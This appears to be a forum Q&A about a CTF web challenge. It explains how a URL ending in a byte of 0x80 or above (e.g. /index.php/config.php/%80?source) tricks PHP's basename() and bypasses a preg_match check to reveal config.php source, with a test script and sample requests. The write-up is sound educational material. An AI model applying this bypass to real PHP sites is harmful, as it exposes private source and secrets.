I'm working on a challenge in CTF. Here's the link to the challenge: Link1
When I try to change the path to Link2.
it successfully retrieved the flag but when the hex value is less than 80, it doesn't work.
I'm a beginner and did a lot of digging to find out how but I couldn't find any. May I ask how so?
It appears that the challenge is exploiting a quirk of PHP's basename()
function. As per the documentation:
Caution:
basename()
is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using thesetlocale()
function.
What this means is that if you pass it a string that contains code points higher than 0x7F, then it will try to process them as multi-byte characters. Passing random bytes to this function is therefore likely to make it fall over.
I uploaded the following script to a server for testing:
<?php
header("Content-Type: text/plain; charset=UTF-8");
echo '$_SERVER["PATH_INFO"] = ';
var_dump($_SERVER['PATH_INFO']);
echo '$_SERVER["PHP_SELF"] = ';
var_dump($_SERVER['PHP_SELF']);
echo 'basename($_SERVER["PHP_SELF"]) = ';
var_dump(basename($_SERVER['PHP_SELF']));
And here are the results I obtained with a few chosen requests:
■ GET /index.php?source
$_SERVER["PATH_INFO"] = NULL
$_SERVER["PHP_SELF"] = string(15) "/index.php"
basename($_SERVER["PHP_SELF"]) = string(9) "index.php"
■ GET /index.php/config.php?source
$_SERVER["PATH_INFO"] = string(11) "/config.php"
$_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
■ GET /index.php/config.php/XXX?source
$_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
$_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
basename($_SERVER["PHP_SELF"]) = string(3) "XXX"
■ GET /index.php/config.php/%F0%9F%98%80?source
$_SERVER["PATH_INFO"] = string(16) "/config.php/😀"
$_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/😀"
basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
You'll notice that in the last example, PHP has failed to parse the UTF-8 character at the end of the PATH_INFO
string, and has defaulted to the preceding value of config.php
instead.
So in the example you gave, the link to /index.php/config.php/%80?source
would have resulted in $_SERVER["PHP_SELF"]
taking a value of "config.php"
. This allows your query to pass the following test because $_SERVER['PHP_SELF']
ends with \x80
, not /
:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
And so you're able to obtain the flag from the source code of config.php
.
An interesting challenge.
Note: If you set PHP's locale to something that accepts UTF-8 characters (e.g., setlocale(LC_ALL, 'en_GB.UTF8');
), then it will handle the 😀 characters correctly, but will still fall down when given an invalid code point like %80
.